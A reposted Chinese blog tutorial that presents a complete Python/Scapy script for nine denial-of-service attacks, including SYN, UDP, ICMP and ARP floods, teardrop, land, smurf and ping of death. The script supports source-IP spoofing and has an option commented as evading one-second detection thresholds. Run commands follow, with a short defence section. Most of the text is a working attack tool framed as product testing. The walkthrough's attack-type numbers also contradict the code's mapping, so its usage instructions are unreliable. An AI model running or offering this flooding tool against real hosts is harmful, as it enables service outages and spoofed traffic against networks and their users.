Scapy實現SYN、ICMP、UDP Flood、ARP等攻擊測試


前言

對產品做安全性測試方式有很多種,比如,利用硬件設備,缺點是價值昂貴,另一種就是使用軟件,軟件的缺點比不上硬件的性能優勢。

有一天,無意接觸到Python Scapy工具,開啟了網絡安全編程學習之路。引用官網文檔說明介紹它:Scapy 是一個 Python 程序,它使用戶能夠發送、嗅探、剖析和偽造網絡數據包。這種能力允許構建可以探測、掃描或攻擊網絡的工具。

有時候為了滿足測試要求,我們總要構造一系列測試條件,所以就有后文的ddos攻擊測試以及編寫一個測試腳本。

什么是DDoS 攻擊?

​ 拒絕服務(DoS) 攻擊是一種惡意嘗試,旨在影響合法最終用戶對目標系統(如網站或應用程序)的可用性。 通常,攻擊者會生成大量數據包或請求,最終使目標系統不堪重負。 在發生分布式拒絕服務(DDoS) 攻擊時,攻擊者使用多個被破壞或受控的來源生成攻擊。

​ 本文介紹的幾種DDOS攻擊,如果按照OSI分層,它們屬於基礎設施層(即網絡層和數據傳輸層)。如果按DDOS攻擊分類,將攻擊分為基礎設施層(第3層和第4層)和應用層(第6層和第7層)。

​ 網絡層和傳輸層有最為常見的DDos攻擊,傳輸層包括SYN、UDP泛洪攻擊等,網絡層包括ICMP和ARP等,這些攻擊一般數量比較大,也最易使網絡或應用程序服務器的容量過載,但這些攻擊已經具有很清晰標識且易於檢測。

使用說明

image

其中:

  • 攻擊者:使用Scapy工具偽造網絡數據包,攻擊指定的網絡設備,偽造網絡數據包中IPv4協議的Destination Address
  • 受害者:被攻擊對象,偽造網絡數據包中IPv4協議的Source Address

部署測試環境

依賴第三方庫

DDos攻擊腳本:9_ddos_attack.py


import os.path
from argparse import RawTextHelpFormatter
from enum import Enum, auto
import scapy.all as scapy
import argparse
import sys
import random
import time


class attackType(Enum):
    """攻擊類型"""
    arp_flood = auto()
    tcp_land = auto()
    tcp_syn_flood = auto()
    udp_flood = auto()
    udp_tear_drop = auto()
    icmp_flood = auto()
    icmp_unreachable = auto()
    icmp_ping_of_death = auto()
    icmp_smurf = auto()


class DDos_attack(object):
    """
    一個簡單的協議棧DDOS攻擊輔助工具,借助於Scapy api:https://www.osgeo.cn/scapy/api實現偽造網絡包,目前已滿足9種網絡攻擊測試;
        -- 支持命令行方式去配置構造報文以便完成簡單的測試
        -- 支持回放本地的pcap報文
        -- 支持已發送攻擊數據保存到本地
    """
    """
            9種網絡攻擊協議:
               arp_flood --> 1秒內收到超過100幀arp報文(不分請求和響應);
               tcp_land --> TCP的syn報文中源和目的IP地址相同,一幀就報;
               tcp_syn_flood --> 1秒內收到超過100幀TCP的syn報文;
               udp_flood --> 1秒內收到超過1000幀UDP報文
               udp_tear_drop --> IP分片出現重疊,一幀就報
               icmp_flood --> 1秒內收到的icmp報文類型為8的請求幀數超過100幀;
               icmp_unreachable --> 指主機在收到icmp報文類型為3的報文后,會被欺騙,記錄目的地信息,對於后續發往此目的地的報文直接認為不可達。
                                       收到任何100幀就認為是攻擊
               icmp_ping_of_death --> 指ping包的大小太長。收到ICMP報文中ip頭部偏移字段大於50000的報文,1幀就認為是攻擊
               icmp_smurf --> 指以攻擊目的ip向外發送廣播的icmp請求,同一個局域網內收到請求的設備會向攻擊目的地發送icmp響應。
                               我們以ICMP響應的個數來判斷,1秒內收到超過100幀ICMP 類型為0的echo reply
           """


    def __init__(self,
                 dst_mac="ff:ff:ff:ff:ff:ff",
                 src_mac="7c:8a:e1:98:2a:4b",
                 dst_ip="127.0.0.1",
                 src_ip="127.0.0.1",
                 dst_port=8081,
                 src_port=8081,
                 fragment_offset=0,
                 identification=242,
                 icmpv4_type=0,
                 payload='',
                 flags=0,
                 attack_type=1,
                 debug=0,
                 pcapwrite=0,
                 filename=None,
                 iface=None,
                 srcIpRandom=0,
                 ipsrc=None,
                 ipdst=None,
                 one=0
                 ):
        """
        dst_mac:
            目的主機的mac地址
        src_mac:
            發起主機的mac地址
        dst_ip:
            目的主機的IP地址
        src_ip:
            發起主機的IP地址
        dst_port:
            目的主機的端口(指定tcp,udp)
        src_port:
            發起主機的端口(指定tcp,udp)
        fragment_offset:
            偏移字段,數據分組(用於tcp協議)
        icmpv4_type:
            icmp協議的類型:
                8 --> request
                0 --> reply
                3 --> unreach
        payload:
            應用層的內容(每個數據包都可帶上指定的內容)
        TCP flags:
            NULL = 0x00 = 0
            FIN = 0x01 = 1
            SYN = 0x02 = 2
            RST = 0x04 = 4
            PSH = 0x08 = 8
            FIN + PSH = 0x009 = 9
            SYN + PSH = 0x00a = 10
            ACK = 0x010 = 16
            SYN + ACK = 0x12 = 18
            RST + ACK = 0x14 = 20
            PSH + ACK = 0x18 = 24
            SYN + PSH + ACK = 0x01a = 26
        attack_type:
            指定發送的網絡攻擊協議:
                 1: icmp_flood: 1秒內收到的icmp報文類型為8的請求幀數超過100幀
                 2: icmp_unreachable: icmp報文類型為3的報文,收到任何100幀就認為攻擊
                 3: icmp_ping_of_death: 指ping包的大小太長。收到ICMP報文中ip頭部偏移字段大於50000的報文,1幀就認為是攻擊
                 4: icmp_smurf: 1秒內收到超過100幀ICMP,類型為0的echo reply
                 5: udp_flood: 1秒內收到超過1000幀UDP報文
                 6: udp_tear_drop: IP分片出現重疊,一幀就報
                 7: tcp_syn_flood: 1秒內收到超過100幀TCP的syn報文
                 8: tcp_land: TCP的syn報文中源和目的IP地址相同,一幀就報
                 9: arp_flood: 1秒內收到超過100幀arp報文(不分請求和響應);
        debug:
            打印輸出數據報文的詳細信息
            -默認為0,即不打印;為1時打印
        pcapwrite:
            保存已發送數據報文到本地
            -默認為0,即不輸出;為1時輸出
        filename:
            指定回放pcap文件或路徑
        iface:
            指定設配器,即指定網卡發起網絡攻擊
            -在windows中,適配器有"以太網,以太網 2,以太網 3...."
        srcIpRandom:
            隨機生成源IP地址,即attack ip
            -默認為0,默認的ip為10.10.10.10,為1時隨機生成一個ip地址
        ipsrc, ipdst:
            隨機生成指定的子網的ip地址
            -默認為空,輸入格式x.x.x.x/x
        :count:
            指定發送數據包的數量
        """
        self._count = 4
        self.dst_mac = dst_mac
        self.src_mac = src_mac
        self.dst_ip = dst_ip
        self.src_ip = src_ip
        self.dst_port = dst_port
        self.src_port = src_port
        self.fragment_offset = fragment_offset
        self.identification = identification
        self.icmpv4_type = icmpv4_type
        self.payload = payload
        self.flags = flags
        self.iface = iface
        self.attack_type = attack_type
        self.debug = debug
        self.pcapwrite = pcapwrite
        self.filename = filename
        self.srcIprandom = srcIpRandom
        self.ipsrc = ipsrc
        self.ipdst = ipdst
        self.one = one

    @property
    def func(self):
        """返回被調用對象"""
        _attackType = int(self.attack_type) - 1
        _func = list(attackType)[_attackType]
        func_instance = getattr(self, _func.name)
        return func_instance

    def pcapWrite(self, func):
        """保存協議數據報文"""
        file = "%s_n%s.pcap" % (func.__name__,
                                self.count)
        path = './attack_packet'
        if os.path.exists(path) is False:
            os.makedirs(path)
        pktdump = scapy.PcapWriter(os.path.join(path, file),
            append=False,
            sync=True)
        return pktdump

    def rdpcap(self):
        """調用scapy api完成報文回放"""
        return scapy.rdpcap(self.filename)

    def pcapFileIsExists(self):
        """檢查回放報文文件是否存在"""
        if self.filename is None:
            return 0
        elif os.path.exists(self.filename) is False:
            raise FileNotFoundError("No such file or directory: '%s'"
                                    % self.filename)
        return 1

    def arp_flood(self):
        """ARP協議"""
        packet = scapy.Ether(src=self.src_mac) / \
                 scapy.ARP(
                     hwsrc=self.src_mac,
                     psrc=self.src_ip,  # who has xxxx ? Tell 'src_ip'
                     hwdst=self.dst_mac,
                     pdst=self.dst_ip  # target
                 )
        return packet

    def tcp_land(self):
        """
        and count > 1
        and flags = 0x02 --> "SYN"
        """
        if self.src_ip == self.dst_ip:
            return self.tcp_syn_flood()
        # self.src_ip, self.src_mac = self.dst_ip, self.dst_mac
        self.src_ip = self.dst_ip
        return self.tcp_syn_flood()

    def tcp_syn_flood(self):
        """count > 100 and flags = 0x02"""
        packet = scapy.Ether(dst=self.dst_mac,
            src=self.src_mac) / \
                 scapy.IP(dst=self.dst_ip,
                     src=self.src_ip,
                     id=self.identification) / \
                 scapy.TCP(sport=self.src_port,
                     dport=self.dst_port,
                     flags=self.flags) / \
                 self.payload
        return packet

    def udp_flood(self):
        """UDP泛洪攻擊"""
        # self.dst_port = dr_port()
        packet = scapy.Ether(dst=self.dst_mac) / \
                 scapy.IP(dst=self.dst_ip,
                     src=self.src_ip,
                     id=self.identification) / \
                 scapy.UDP(sport=self.src_port,
                     dport=self.dst_port) / \
                 self.payload
        return packet

    def udp_tear_drop(self):
        """隨機生成一個標識"""
        id = identi()

        """設置偏移字段"""
        # offset_1 = 7  # 重疊
        offset_1 = 8  # 正常
        # offset_1 = 9 # 錯開

        offset_2 = 15  # 重疊

        """構造payload"""
        load1 = "A" * 56
        load2 = "B" * 56
        load3 = "C" * 56

        """構造數據"""
        packet_1 = scapy.Ether(dst=self.dst_mac) \
                   / scapy.IP(src=self.src_ip, dst=self.dst_ip, id=id, flags='MF', proto=17, frag=0) \
                   / scapy.UDP(sport=8081, dport=6319) \
                   / load1
        packet_2 = scapy.Ether(dst=self.dst_mac) \
                   / scapy.IP(src=self.src_ip, dst=self.dst_ip, id=id, flags="MF", proto=17, frag=offset_1) \
                   / scapy.UDP(sport=8081, dport=6319) \
                   / load2
        packet_3 = scapy.Ether(dst=self.dst_mac) \
                   / scapy.IP(src=self.src_ip, dst=self.dst_ip, id=id, flags=0, proto=17, frag=offset_2) \
                   / scapy.UDP(sport=8081, dport=6319) \
                   / load3

        return list([packet_1, packet_2, packet_3])

    def icmp(self):
        """定義icmp"""
        packet = scapy.Ether() / \
                 scapy.IP(dst=self.dst_ip,
                     src=self.src_ip,
                     frag=self.fragment_offset) / \
                 scapy.ICMP(type=self.icmpv4_type) / \
                 self.payload
        return packet

    def icmp_flood(self):
        self.icmpv4_type = 8
        return self.icmp()

    def icmp_unreachable(self):
        """type = 3 --> unreachable"""
        self.icmpv4_type = 3
        return self.icmp()

    def icmp_ping_of_death(self):
        """fragment offset > 6250 (6250 * 8 = 50000)"""
        self.fragment_offset = 6251
        return self.icmp()

    def icmp_smurf(self):
        """type = 0 --> reply"""
        self.icmpv4_type = 0
        return self.icmp()

    @property
    def count(self):
        return self._count

    @count.setter
    def count(self, value):
        if not isinstance(value, int):
            raise ValueError('value must be an Integer!')
        self._count = value

    def g_time(func):
        # 計時裝飾器
        def inner(*arg, **kwarg):
            s_time = time.time()
            res = func(*arg, **kwarg)
            e_time = time.time()
            print('>>>耗時:{:.3f}秒'.format(e_time - s_time))
            return res

        return inner

    def send(self):
        """
        發送 數據包
        """
        packet = self.func
        try:
            _p = packet()
            if self.debug == "1":
                if isinstance(_p, list):
                    for _ in _p:
                        _.show()
            scapy.sendp(_p, iface=self.iface)
        except OSError:
            raise OSError("Realtek PCIe GBE family controller error(請檢查使用的網卡是否正確)!")

    @g_time
    def test_protocol(self):
        """
        發送/回放 報文
        """
        packet = self.func
        pktdump = None

        if self.pcapwrite == '1':
            pktdump = self.pcapWrite(packet)

        if self.pcapFileIsExists():
            if self.debug == "1":
                self.rdpcap().show()
            scapy.sendp(self.rdpcap(), iface=self.iface)
            print(">>>回放報文pcap成功!")
        else:

            for _ in range(0, self.count):
                if self.pcapwrite == "1":
                    pktdump.write(packet())
                if self.srcIprandom == "1":
                    self.src_ip = ip_address()
                if self.ipsrc is not None:
                    self.src_ip = ip_random(self.ipsrc)
                if self.ipdst is not None:
                    self.dst_ip = ip_random(self.ipdst)
                """規避1秒檢測"""
                if self.one == "1":
                    if _ % 33 == 0:
                        print('>>>sleep 1s')
                        time.sleep(1)
                self.send()

            print(">>>[%s - %s]攻擊 - 發送數據包(只發):%s個" % (
                self.attack_type,
                self.func.__name__,
                self.count
            ))


def ip_random(ipSubnetMask: str) -> str:
    """
    按照子網隨機生成一個ip地址
        輸入 192.168.1.0/24 , 隨機生成一個 192.168.1.0 ~ 192.168.1.255 范圍內
        輸入 192.168.1.0/30 ,隨機生成一個 192.168.1.0 ~ 192.168.1.3 范圍內
        輸入 192.168.1.252/30 , 隨機生成一個 192.168.1.252 ~ 192.168.1.255 范圍內
    """
    if not ipSubnetMask.__contains__("/"):
        raise ValueError("Must be is a ip/netmask(x.x.x.x/x) format!")
    network = ipSubnetMask.split("/")
    netmask = int(network.pop())
    _listip = ".".join(network).split(".")
    if len(_listip) != 4:
        raise ValueError("Must be an ip in 32 subnet mask format")

    ipbit = ""  # 保存32bit,即ip轉換成32bit
    for bit in _listip:
        try:
            if 0 <= int(bit) <= 255:
                bit = int(bit)
                ipbit += format(bit, '08b')
            else:
                raise ValueError("The input ip format does not match!")
        except ValueError:
            raise TypeError("Must be is an ip type, not string")

    _bit = '0' + str(32 - netmask) + 'b'
    _bitRandomIp = str(format(random.getrandbits(32 - netmask), _bit))  # 隨機生成 32 - 子網掩碼
    bit32 = ipbit[:netmask] + _bitRandomIp  # x.x.x.x/y --> 固定前(32 - y)位 + 隨機y = 32bit

    def bitConvertInt(bit8: str) -> int:
        return int(bit8, 2)

    ip = ".".join(map(str, [bitConvertInt(bit32[:8]),
                            bitConvertInt(bit32[8:16]),
                            bitConvertInt(bit32[16:24]),
                            bitConvertInt(bit32[24:32])]))

    return ip


def ip_address() -> str:
    """
    隨機生成一個IP
    """
    addr = [192, 168, 1, 55]
    addr[0] = random.randrange(11, 197)
    addr[1] = random.randrange(0, 255)
    addr[2] = random.randrange(0, 255)
    addr[3] = random.randrange(2, 254)
    address = map(str, [addr[0], addr[1], addr[2], addr[3]])
    return '.'.join(address)


def dr_port() -> int:
    """隨機獲取一個端口"""
    return random.randint(1001, 65535)


def identi() -> int:
    """隨機獲取一個 id --> identification"""
    return random.randint(1, 65535)


def tool():
    """
    命令行參數
    """
    attack_type_help = "attack type: \n" \
                       "    1: arp_flood: 1秒內收到超過100幀arp報文(不分請求和響應)\n" \
                       "    2: tcp_land: TCP的syn報文中源和目的IP地址相同,一幀就報\n" \
                       "    3: tcp_syn_flood: 1秒內收到超過100幀TCP的syn報文\n" \
                       "    4: udp_flood: 1秒內收到超過1000幀UDP報文\n" \
                       "    5: udp_tear_drop: IP分片出現重疊,一幀就報\n" \
                       "    6: icmp_flood: 1秒內收到的icmp報文類型為8的請求幀數超過100幀\n" \
                       "    7: icmp_unreachable: icmp報文類型為3的報文,收到任何100幀就認為攻擊\n" \
                       "    8: icmp_ping_of_death: 指ping包的大小太長。收到ICMP報文中ip頭部偏移字段大於50000的報文,1幀就認為是攻擊\n" \
                       "    9: icmp_smurf: 1秒內收到超過100幀ICMP,類型為0的echo reply\n" \

    if len(sys.argv) == 1:
        sys.argv.append('--help')

    parser = argparse.ArgumentParser(description='9種網絡攻擊協議測試', formatter_class=RawTextHelpFormatter)

    parser.add_argument('-t', '--attackType', type=int, default=1, help=attack_type_help)
    parser.add_argument('-n', '--count', type=int, default=4, help='輸入發送報文的數量, (default:4)')
    parser.add_argument('-d', '--dst_ip', type=str, default='19.19.19.19', help='destination address, '
                                                                                '(default:19.19.19.19)')
    parser.add_argument('-s', '--src_ip', type=str, default='19.19.19.11', help='source address, (default:19.19.19.11)')
    parser.add_argument('-D', '--dst_mac', type=str, default='0c:73:eb:9c:26:a0', help='destination mac, '
                                                                                       '(default:0c:73:eb:9c:26:a0)')
    parser.add_argument('-S', '--src_mac', type=str, default='7C:8A:E1:98:2A:4B', help='source mac, '
                                                                                       '(default:7C:8A:E1:98:2A:4B)')
    parser.add_argument('-sport', type=int, default=8081, help='輸入源地址端口,(default:8081)')
    parser.add_argument('-dport', type=int, default=8081, help='輸入目的地址端口,(default:8081)')
    parser.add_argument('-f', '--flags', type=int, default=2, help='輸入tcp的flags, default:2(syn)')
    parser.add_argument('--debug', type=str, default=0, help='當為1時,詳細輸出發送的每一幀報文, (default 0)')
    parser.add_argument('-i', '--iface', type=str, default='以太網', help='以特定的適配器(網卡)發送數據報文, (default:以太網)')
    parser.add_argument('--pcapwrite', type=str, default=0, help='當為1時,輸出pcap文件到當前目錄,(default 0)')
    parser.add_argument('--filename', dest='filename', type=str, default=None, help='回放指定路徑的pcap文件, '
                                                                                    '例如: "./xxx.pcap", (default: 無)')
    parser.add_argument('--srcIpRandom', type=str, default=0, help='當為1時,隨機生成源IP地址,(default 0)')
    parser.add_argument('--ipsrc', type=str, default=None, help='輸入"10.10.10.0/24"隨機返回10.10.10.x格式的ip作為源ip(default 無)')
    parser.add_argument('--ipdst', type=str, default=None, help='輸入"10.10.10.0/24"隨機返回10.10.10.x格式的ip作為源ip(default 無)')
    parser.add_argument('--one', type=str, default=0, help='當為1時,每發100幀將休眠1s(default 0)')

    arguments = parser.parse_args()
    return arguments


def main():
    """主程序"""
    arguments = tool()
    attack_type = arguments.attackType
    dst_ip = arguments.dst_ip
    src_ip = arguments.src_ip
    dst_mac = arguments.dst_mac
    flags = arguments.flags
    debug = arguments.debug
    iface = arguments.iface
    pcapwrite = arguments.pcapwrite
    filename = arguments.filename
    sport = arguments.sport
    dport = arguments.dport
    srcIpRandom = arguments.srcIpRandom
    ipsrc = arguments.ipsrc
    ipdst = arguments.ipdst
    one = arguments.one
    ddos = DDos_attack(dst_mac=dst_mac,
        src_ip=src_ip,
        dst_ip=dst_ip,
        attack_type=attack_type,
        src_port=sport,
        dst_port=dport,
        payload='ddos attack testing',
        debug=debug,
        flags=flags,
        iface=iface,
        pcapwrite=pcapwrite,
        filename=filename,
        srcIpRandom=srcIpRandom,
        ipsrc=ipsrc,
        ipdst=ipdst,
        one=one)
    ddos.count = arguments.count

    ddos.test_protocol()


if __name__ == '__main__':
    main()

調試腳本

參數說明

$# python .\9_ddos_attack.py
usage: 9_ddos_attack.py [-h] [-t ATTACKTYPE] [-n COUNT] [-d DST_IP] [-s SRC_IP] [-D DST_MAC] [-S SRC_MAC] [-sport SPORT] [-dport DPORT] [-f FLAGS] [--debug DEBUG] [-i IFACE]
                        [--pcapwrite PCAPWRITE] [--filename FILENAME] [--srcIpRandom SRCIPRANDOM] [--ipsrc IPSRC] [--ipdst IPDST] [--one ONE]                                
                                                                                                                                                                             
9種網絡攻擊協議測試                                                                                                                                                          
                                                                                                                                                                             
optional arguments:                                                                                                                                                          
  -h, --help            show this help message and exit                                                                                                                      
  -t ATTACKTYPE, --attackType ATTACKTYPE                                                                                                                                     
                        attack type:                                                                                                                                         
                            1: arp_flood: 1秒內收到超過100幀arp報文(不分請求和響應)                                                                                        
                            2: tcp_land: TCP的syn報文中源和目的IP地址相同,一幀就報
                            3: tcp_syn_flood: 1秒內收到超過100幀TCP的syn報文
                            4: udp_flood: 1秒內收到超過1000幀UDP報文
                            5: udp_tear_drop: IP分片出現重疊,一幀就報
                            6: icmp_flood: 1秒內收到的icmp報文類型為8的請求幀數超過100幀
                            7: icmp_unreachable: icmp報文類型為3的報文,收到任何100幀就認為攻擊
                            8: icmp_ping_of_death: 指ping包的大小太長。收到ICMP報文中ip頭部偏移字段大於50000的報文,1幀就認為是攻擊
                            9: icmp_smurf: 1秒內收到超過100幀ICMP,類型為0的echo reply
  -n COUNT, --count COUNT
                        輸入發送報文的數量, (default:4)
  -d DST_IP, --dst_ip DST_IP
                        destination address, (default:19.19.19.19)
  -s SRC_IP, --src_ip SRC_IP
                        source address, (default:19.19.19.11)
  -D DST_MAC, --dst_mac DST_MAC
                        destination mac, (default:0c:73:eb:9c:26:a0)
  -S SRC_MAC, --src_mac SRC_MAC
                        source mac, (default:7C:8A:E1:98:2A:4B)
  -sport SPORT          輸入源地址端口,(default:8081)
                        輸入tcp的flags, default:2(syn)
  --debug DEBUG         當為1時,詳細輸出發送的每一幀報文, (default 0)
  -i IFACE, --iface IFACE
                        以特定的適配器(網卡)發送數據報文, (default:以太網)
  --pcapwrite PCAPWRITE
                        當為1時,輸出pcap文件到當前目錄,(default 0)
  --filename FILENAME   回放指定路徑的pcap文件, 例如: "./xxx.pcap", (default: 無)
  --srcIpRandom SRCIPRANDOM
                        當為1時,隨機生成源IP地址,(default 0)
  --ipsrc IPSRC         輸入"10.10.10.0/24"隨機返回10.10.10.x格式的ip作為源ip(default 無)
  --ipdst IPDST         輸入"10.10.10.0/24"隨機返回10.10.10.x格式的ip作為源ip(default 無)
  --one ONE             當為1時,每發100幀將休眠1s(default 0)


ICMP flood攻擊

$# python 9_ddos_attack.py  -t 1 -n 10 -d 19.19.19.19 -D 0c:73:eb:aa:bb:cc --pcapwrite 1 --srcIpRandom 1 --debug 1

解釋:

  • -t 指定攻擊類型,這里1表示icmp flood,除此之外,還有arp、tcp、udp攻擊,詳細參考代碼注釋
  • -n表示發包數量,即偽造n個網絡數據包,這里發包數量10個
  • -d表示目的主機ip地址,即受害者的主機ip
  • -D表示目的主機的mac地址,即受害者的主機mac地址
  • --pcapwrite 1表示保存偽造的網絡數據包,保存於腳本目錄下,生成一個attack_packet文件夾
  • --srcIpRandom 1 表示生成的每個偽造網絡包的源IP地址都不一樣
  • --debug表示打印輸出每一個偽造網絡包的詳細信息,格式參考Scapy文檔

wireshark抓包實例如下:

image

UDP flood攻擊

$# python 9_ddos_attack.py --filename attack_packet/udp_flood_n499.pcap

解釋:

  • --filename 指定回放的報文

示例這里已經准備好一份事先設定好udp報文

wireshark抓包實例如下:

image

TCP syn flood攻擊

$# python 9_ddos_attack.py  -t 7 -n 10 --pcapwrite 1 --ipsrc 192.168.1.0/24

解釋:

  • -t 指定攻擊類型,這里7表示tcp syn flood,除此之外,還有arp、icmp、udp攻擊,詳細參考代碼注釋
  • -n表示發包數量,即偽造n個網絡數據包,這里發包數量10個
  • --pcapwrite 1表示保存偽造的網絡數據包,保存於腳本目錄下,生成一個attack_packet文件夾
  • --ipsrc表示偽造指定子網ip作為源IP地址

wireshark抓包實例如下:

image

ARP flood攻擊

$# python 9_ddos_attack.py  -t 9 -n 10 -d 192.168.1.47 -i '以太網' --pcapwrite 1

解釋:

  • -t 指定攻擊類型,這里9表示arp flood,除此之外,還有tcp、icmp、udp攻擊,詳細參考代碼注釋

  • -n表示發包數量,即偽造n個網絡數據包,這里發包數量10個

  • -d表示目的主機ip地址,即受害者的主機ip,這里的目的ip地址是192.168.1.47

  • -i表示指定本地網絡適配器,即網卡的名稱,這里是網卡名稱為以太網

  • --pcapwrite 1表示保存偽造的網絡數據包,保存於腳本目錄下,生成一個attack_packet文件夾

打開本地生成的pcap文件

image

需要注意的地方:

  1. 偽造的網絡數據需指定網卡發送,腳本默認為“以太網”,如果存在多個網卡,它們可能命名為“以太網 2,以太網 3...."

防護思路

減少攻擊表面積

  1. 不要將一些非必要的應用程序或資源暴露出來,把暴露出來的端口、協議或應用程序關閉,盡量減少可能的攻擊點,讓我們集中精力執行攻擊緩解工作
  2. 使用防火牆或訪問控制列表來控制進來的流量

擴容

  1. 增大寬度容量或服務器容量,緩解大容量的攻擊

參考文章

https://aws.amazon.com/cn/shield/ddos-attack-protection/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM